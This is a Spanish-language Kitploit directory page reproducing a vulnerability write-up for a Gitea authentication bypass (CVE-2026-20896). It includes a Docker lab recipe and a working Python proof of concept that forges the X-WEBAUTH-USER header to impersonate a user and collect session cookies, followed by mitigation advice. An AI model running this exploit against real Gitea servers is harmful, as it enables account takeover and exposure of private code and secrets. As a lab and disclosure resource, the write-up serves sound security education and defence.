Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-20896-Gitea-Authentication-Bypass — Una explicación y PoC para explotar la vulnerabilidad CVE-2026-20896 de Bypass de Autenticación en Gitea. Permite robar tokens de sesión de usuarios válidos en la instancia de Gitea. | Kitploit
Herramientas/GitHubGitHub/judgedbykira/cve-2026-20896-gitea-authentication-bypass
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónLabs y Práctica
GitHub
judgedbykira/cve-2026-20896-gitea-authentication-bypass

CVE-2026-20896-Gitea-Authentication-Bypass

Una explicación y PoC para explotar la vulnerabilidad CVE-2026-20896 de Bypass de Autenticación en Gitea. Permite robar tokens de sesión de usuarios válidos en la instancia de Gitea.

Ver Repositorio
4hace 25 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-20896 - Bypass de autenticación en Gitea ≤1.26.2

1. ¿Qué es Gitea?

Gitea es una plataforma de alojamiento de Git ligera y de código abierto que permite a organizaciones y desarrolladores gestionar repositorios de código fuente, realizar el seguimiento de incidencias, revisar cambios y colaborar en proyectos de software. Ofrece funcionalidades similares a las de plataformas como GitHub y GitLab, pero está diseñada para ser autohospedada, eficiente y fácil de mantener, lo que la hace adecuada para organizaciones que desean un mayor control sobre su código y su infraestructura de desarrollo.

2. Explicación de la vulnerabilidad

CVE-2026-20896 es una vulnerabilidad crítica de bypass de autenticación en la imagen oficial de Docker de Gitea, con una puntuación CVSS de 9.8 (Crítica). Afecta a las imágenes Docker de Gitea hasta la versión 1.26.2 inclusive. El problema subyacente es una configuración predeterminada insegura: REVERSE_PROXY_TRUSTED_PROXIES = *, que hace que Gitea confíe en las cabeceras de autenticación del proxy inverso procedentes de cualquier dirección IP. Cuando la autenticación mediante proxy inverso está habilitada, un atacante remoto no autenticado puede, por tanto, enviar una cabecera X-WEBAUTH-USER falsificada y hacer que Gitea trate al atacante como el usuario especificado. En particular, suplantar a un administrador puede dar lugar a un acceso administrativo completo sin necesidad de contraseña ni de un token de autenticación válido.

El impacto potencial es grave, ya que el acceso administrativo a Gitea puede exponer repositorios de código fuente privados, credenciales y secretos de CI/CD, así como permitir la modificación de repositorios, claves SSH, webhooks y otros ajustes sensibles de seguridad. La vulnerabilidad afecta específicamente a los despliegues que utilizan la imagen Docker afectada junto con la autenticación mediante proxy inverso; no se trata simplemente de un fallo en el mecanismo normal de autenticación por contraseña de Gitea. Gitea solucionó el problema en la versión 1.26.3, y los administradores deben actualizar a una versión parcheada actual y revisar su configuración de confianza del proxy inverso en lugar de depender del ajuste inseguro de comodín. También se han notificado intentos de explotación contra instancias de Gitea expuestas, lo que hace que la remediación inmediata sea especialmente importante.

CWEs

  • CWE-284 – Improper Access Control.

TTPs

  • T1078 (Valid Accounts)
  • T1190 (Exploit Public-Facing Application)

3. Creación del laboratorio

Ejecutaremos un contenedor Docker con una versión vulnerable de Gitea, en este caso la versión 1.26.2, utilizando el siguiente Dockerfile:

root@kitploit:~
FROM gitea/gitea:1.26.2

# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
    GITEA__database__PATH=/data/gitea/gitea.db \
    GITEA__security__INSTALL_LOCK=true \
    GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true

RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu

CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'

# Start Gitea using the original image entrypoint.
 /usr/bin/entrypoint "$@" &
pid=$!

trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT

# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
    sleep 1
done

# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
    --config "$CONFIG" \
    --username jbkira \
    --password "$ADMIN_PASSWORD" \
    --email [email protected] \
    --admin \
    --must-change-password=false \
    >/dev/null

wait "$pid"
SCRIPT

chmod +x /usr/local/bin/lab-entrypoint
EOF

ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]

Para construir el contenedor Docker, utiliza el siguiente comando:

root@kitploit:~
docker build -t gitea-cve-2026-20896-lab .

Finalmente, despliega el contenedor Docker con el siguiente comando:

root@kitploit:~
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab

4. Prueba de concepto

Si conocemos el nombre de cualquier usuario en la instancia de Gitea, podemos suplantarlo abusando de la cabecera X-WEBAUTH-USER: username; en este laboratorio creamos un usuario llamado jbkira, así que capturaremos un acceso normal no autenticado a la página principal de Gitea mediante un proxy; por ejemplo, yo usaré BurpSuite y añadiremos la cabecera:

imagen

Si reenviamos esa petición con la cabecera X-WEBAUTH-USER, al volver a la página de Gitea en nuestro navegador veremos que ahora hemos iniciado sesión como el usuario jbkira. Pero no siempre funciona así, por lo que creé un script PoC que realiza el ataque y roba la cookie de sesión del usuario objetivo, que luego puedes copiar y pegar en tu navegador para obtener acceso al usuario objetivo.

5. Script de PoC automatizado

PoC automatizado en Python que abusa del fallo de bypass de autenticación y roba la cookie de sesión del usuario objetivo:

root@kitploit:~
import requests
import argparse

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def attack(url, target_user):

    METHOD = "GET"
    HEADERS = {
        "User-Agent": "Mozilla/5.0",
        "X-WEBAUTH-USER": f"{target_user}",
    }

    resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
    
    print(f"[+] Status code: {resp.status_code}\n")
    
    # Cookies that the server has set (via Set-Cookie)
    if resp.cookies:
        print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
        for cookie in resp.cookies:
            print(f"    {cookie.name} = {cookie.value}")
    else:
        print(f"{RED}[-] The server has not returned any cookies.{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
    parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    """)
    print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    banner()
    args = argparse_setup()
    attack(args.url, args.target_user)

if __name__ == "__main__":
    main()

Ejemplo de uso:

root@kitploit:~
┌──(kali㉿jbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira


        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    
CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
github.com/judgedbykira | linkedin.com/in/yeray-medina
Only use this in real penetration tests or lab environments. Unauthorized use is illegal.

[+] Status code: 200

[+] Cookies retrieved for user jbkira:
    i_like_gitea = e12680e9c4e6e894
    lang = en-US

6. Mitigación

La mitigación principal para CVE-2026-20896 es actualizar Gitea de 1.26.2 o anterior a 1.26.3 o posterior, ya que la 1.26.3 contiene el parche de seguridad para esta vulnerabilidad. Si no es posible actualizar de inmediato, los administradores deben configurar explícitamente REVERSE_PROXY_TRUSTED_PROXIES para que contenga únicamente la dirección IP o la subred del proxy inverso autenticador legítimo, en lugar de *, y asegurarse de que el puerto HTTP de Gitea no pueda ser alcanzado directamente por clientes no confiables. Esto es especialmente importante cuando ENABLE_REVERSE_PROXY_AUTHENTICATION=true, porque la vulnerabilidad permite que una fuente no confiable inyecte X-WEBAUTH-USER y suplante a usuarios existentes.

7. Créditos

Créditos para Ali Mustafa @rz1027 por descubrir y divulgar la vulnerabilidad.

Descargar herramienta